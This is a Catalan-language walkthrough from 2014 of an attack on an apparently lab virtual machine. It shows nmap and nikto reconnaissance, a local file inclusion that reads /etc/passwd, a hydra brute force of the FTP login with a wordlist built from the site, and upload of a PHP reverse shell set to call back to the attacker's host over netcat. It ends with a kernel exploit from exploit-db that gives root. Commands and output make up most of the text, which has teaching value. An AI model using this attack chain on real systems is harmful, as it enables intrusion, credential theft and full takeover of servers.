

Breu exemple d'atac a un sistema informàtic

Pau Muñoz i Pairet

Lleida 2014

Nmap -Pn 192.168.1.5

```
root@galileo: ~  
Archivo  Editar  Ver  Buscar  Terminal  Ayuda  
root@galileo:~# nmap -Pn 192.168.1.5  
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-16 15:19 CEST  
Nmap scan report for 192.168.1.5  
Host is up (0.00014s latency).  
Not shown: 998 closed ports  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
MAC Address: 08:00:27:06:D2:72 (Cadmus Computer Systems)  
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds  
root@galileo:~#
```

Escanejem TOTS els ports, per a mes informació

nmap -p- 192.168.1.5

```
root@galileo:~# nmap -p- 192.168.1.5  
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-16 15:20 CEST  
Nmap scan report for 192.168.1.5  
Host is up (0.00015s latency).  
Not shown: 65532 closed ports  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
20201/tcp open  unknown  
MAC Address: 08:00:27:06:D2:72 (Cadmus Computer Systems)  
Nmap done: 1 IP address (1 host up) scanned in 21.27 seconds
```

nmap -p 22,80,20201 -sV 192.168.1.5

```
root@galileo:~# nmap -p 22,80,20201 -sV 192.168.1.5  
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-16 15:22 CEST  
Nmap scan report for 192.168.1.5  
Host is up (0.00051s latency).  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 5.3p1 Debian 3ubuntu7.1 (Ubuntu Linux; protocol 2.0)  
80/tcp    open  http     Apache httpd 2.2.14 ((Ubuntu))  
20201/tcp open  ftp      vsftpd 2.2.2  
MAC Address: 08:00:27:06:D2:72 (Cadmus Computer Systems)  
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux kernel  
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 19.65 seconds
```

Utilitzem el software nikto (apt-get install nikto) per aconseguir més informació sobre el servidor http

nikto -h <http://192.168.1.5>

```
Nikto v2.1.5
-----
Target IP:      192.168.1.5
Target Hostname: 192.168.1.5
Target Port:    80
Start Time:     2014-05-16 15:23:50 (GMT2)
-----
Server: Apache/2.2.14 (Ubuntu)
Retrieved x-powered-by header: PHP/5.3.2-1ubuntu4.24
The anti-clickjacking X-Frame-Options header is not present.
Server leaks inodes via ETags, header found with file /robots.txt, inode: 2937
  size: 19, mtime: 0x4f958b348ceff
File/dir '/vaixell/' in robots.txt returned a non-forbidden or redirect HTTP c
e (200)
"robots.txt" contains 1 entry which should be manually viewed.
Apache/2.2.14 appears to be outdated (current is at least Apache/2.2.22). Apac
1.3.42 (final release) and 2.0.64 are also current.
DEBUG HTTP verb may show server debugging information. See http://msdn.microso
.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
/index.php?page=../../../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket
d-in is vulnerable to file traversal, allowing an attacker to view any file on
the host. (probably Rocket, but could be any index.php)
OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals
entially sensitive information via certain HTTP requests that contain specifi
QUERY strings.
OSVDB-3092: /db/: This might be interesting...
OSVDB-3268: /img/: Directory indexing found.
OSVDB-3092: /img/: This might be interesting...
OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected o
mitted to authorized hosts.
OSVDB-3268: /icons/: Directory indexing found.
Cookie phpMyAdmin created without the httponly flag
OSVDB-3233: /icons/README: Apache default file found.
/phpmyadmin/: phpMyAdmin directory found
6544 items checked: 0 error(s) and 17 item(s) reported on remote host
End Time:      2014-05-16 15:24:13 (GMT2) (23 seconds)
```

naveguem per el lloc web, analitzem manualment tota l'informació possible





Dedum que dins el codi php sota el qual corre la pàgina, s'hi amaga algun tipus de funció de l'estil "include" dirigida a arxius locals del sistema operatiu



Canviem personal.html per /etc/passwd

realitzem un atac LFI per llegir /etc/passwd així sabem noms d'usuari del sistema operatiu

Benvingut al nostre lloc web, mariner d'aigua dolça!

```
Principal Lírica Tripulació Contacte root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:
/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List
Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin)/var
/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:107::/var/run/dbus:/bin/false avahi-autoipd:x:103:110:Avahi
autoip daemon,,:/var/lib/avahi-autoipd:/bin/false avahi:x:104:111:Avahi mDNS daemon,,:/var/run/avahi-daemon:
/bin/false couchdb:x:105:113:CouchDB Administrator,,:/var/lib/couchdb:/bin/bash speech-dispatcher:x:106:29:Speech
Dispatcher,,:/var/run/speech-dispatcher:/bin/sh usbmux:x:107:46:usbmux daemon,,:/home/usbmux:/bin/false
aldaemon:x:108:114:Hardware abstraction layer,,:/var/run/hald:/bin/false kernoops:x:109:65534:Kernel Oops Tracking
daemon,,:/bin/false pulse:x:110:115:PulseAudio daemon,,:/var/run/pulse:/bin/false rtkit:x:111:117:RealtimeKit,,:/proc
/bin/false saned:x:112:118::/home/saned:/bin/false hplip:x:113:7:HPLIP system user,,:/var/run/hplip:/bin/false
gdm:x:114:120:Gnome Display Manager:/var/lib/gdm:/bin/false usuari:x:1000:1000:usuari,,:/home/usuari:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false mysql:x:115:123:MySQL Server,,:/var/lib/mysql:/bin/false ftp:x:116:124:ftp
daemon,,:/srv/ftp:/bin/false jsparrow:x:1001:1001,,:/var/www:/bin/nologin sshd:x:117:65534::/var/run/sshd:/usr/sbin
/nologin
```

Utilitzem un script per generar un diccionari a partir de les paraules del lloc web

./dict.sh <http://192.168.1.5>

```
root@galileo:~# ./dict.sh http://192.168.1.5
15:30:15 - Inici de baixada http://192.168.1.5. Pot tardar bastant...
15:30:15 - Hem acabat de baixar, Creant diccionari...
15:30:15 - Diccionari creat!
Total de paraules: 151
Diccionari creat a ./wordlist.txt!
```

Utilitzem hydra per atacar el servidor ftp

```
root@galileo:~# hydra -t 1 -l jsparrow -s 20201 -P wordlist.txt -vV 192.168.1.5
ftp
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-16 15:32:27
[DATA] 1 task, 1 server, 151 login tries (l:1/p:151), ~151 tries per task
[DATA] attacking service ftp on port 20201
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.1.5 - login "jsparrow" - pass "" - 1 of 151 [child 0]
[ATTEMPT] target 192.168.1.5 - login "jsparrow" - pass "a" - 2 of 151 [child 0]
[ATTEMPT] target 192.168.1.5 - login "jsparrow" - pass "abandone" - 3 of 151 [child 0]
[ATTEMPT] target 192.168.1.5 - login "jsparrow" - pass "abarca" - 4 of 151 [child 0]
[ATTEMPT] target 192.168.1.5 - login "jsparrow" - pass "al" - 5 of 151 [child 0]
[ATTEMPT] target 192.168.1.5 - login "jsparrow" - pass "alegre" - 6 of 151 [child 0]
[20201][ftp] host: 192.168.1.5 login: jsparrow password: alegre
[STATUS] attack finished for 192.168.1.5 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-16 15:32:43
```

Trobat's un usuari i una contrasenya vàlids, ens connectem al ftp

```
Name (192.168.1.5:root): jsparrow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx   2 33      33          4096 May 17 17:02 baixades
-rw-r--r--   1 0        0           516 May 14 08:37 contacto.html
drwxr-xr-x   2 0        0          4096 May 14 08:37 css
drwxr-xr-x   2 0        0          4096 May 14 11:37 db
drwxr-xr-x   2 0        0          4096 May 14 08:45 img
-rwxrwxrwx   1 0        0           693 May 14 08:46 index.php
-rw-r--r--   1 0        0           163 May 14 08:37 intro.html
-rw-r--r--   1 0        0          2233 May 14 08:37 lirica.html
-rw-r--r--   1 0        0           297 May 14 08:37 personal.html
-rw-r--r--   1 0        0            19 May 14 11:21 robots.txt
drwxr-xr-x   2 0        0          4096 May 14 11:18 vaixell
226 Directory send OK.
ftp>
```

Descobrim que hi ha un directori on disposem de tots els permisos necessaris per pujar arxius i executar-los

Partint de la base de que el servidor víctima, tal com hem descobert a partir del seu lloc web, disposa de php instalat, pujarem un backdoor escrit en php, aquest script es connectarà cap a la nostra màquina i ens permetrà interactuar amb el servidor

utilitzarem el script php-reverse-shell.php disponible a packetstormsecurity.com

editem els detalls corresponents

```
GNU nano 2.2.6      Fichero: php-reverse-shell.php
// Some compile-time options are needed for daemonisation (like pcntl, posix). $
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.3'; // CHANGE THIS
$port = 2323; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
```

El pujem al directori baixades via ftp

Acte seguit, escoltem connexions al port 2323 utilitzant netcat

```
nc -lvp 2323
```

Acte seguit executem el codi des del navegador web

<http://192.168.1.5/baixades/php-reverse-shell.php> i mantenim la finestra oberta

```
root@galileo:~/var/www# nc -lvp 2323
nc: listening on ::: 2323 ...
nc: listening on 0.0.0.0 2323 ...
nc: connect to 192.168.1.3 2323 from 192.168.1.5 (192.168.1.5) 51584 [51584]
Linux vulnsrv 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686
GNU/Linux
B 15:54:19 up 46 min,  2 users,  load average: 0.00, 0.07, 0.07
>USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
usuari    tty7     :0              15:08   46:24  5.36s  0.21s  gnome-session
usuari    pts/0    :0.0            15:08   48.00s 0.41s  1.51s  gnome-terminal
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
6$ ls
>bin
>boot
>cdrom
```

Un cop rebuda la connexió podem veure que instantàniament ens mostra que la versió del kernel de la màquina a atacar es bastant antiga. Moltes vegades podem atacar el kernel d'un sistema operatiu per elevar els nostres privilegis a la màquina

Si busquem una mica per internet trobem:

<http://www.exploit-db.com/exploits/15704/>

Es un exploit, ens baixem el codi font, i el compilem a la màquina karli

```
gcc -w exploit.c -o exploit
```

```
root@galileo:~# gcc -w exploit.c -o exploit
root@galileo:~#
```

El pujem al sistema via ftp

```
ftp> put exploit
local: exploit remote: exploit
200 PORT command successful. Consider using PASV. you are able to hear
150 Ok to send data.
226 Transfer complete.
9862 bytes sent in 0.00 secs (26242.1 kB/s)
ftp>
```

Llançem l'exploit que acabem de pujar al sistema

```
exploit
exploit.c
php-reverse-shell.php
$ ls -lah
total 40K
drwxrwxrwx 2 www-data www-data 4.0K May 16 15:56 .
drwxr-xr-x 7 root root 4.0K May 14 11:42 ..
-rw-r--r-- 1 root root 0 May 16 15:53 calendari.pdf
-rw-r--r-- 1 jsparrow jsparrow 9.7K May 16 15:56 exploit
-rw-r--r-- 1 jsparrow jsparrow 9.2K May 16 15:55 exploit.c
-rw-r--r-- 1 jsparrow jsparrow 5.4K May 16 15:54 php-reverse-shell.php
$ chmod 755 exploit
chmod: changing permissions of `exploit': Operation not permitted
$ cp exploit /tmp
$ cd /tmp
$ chmod 755 exploit
$ ./exploit
id
uid=0(root) gid=0(root)
cd /root
ls
dict.sh
mapatresor.jpg
```

I

KALI LINUX

The quieter you become, the more you are able to hear.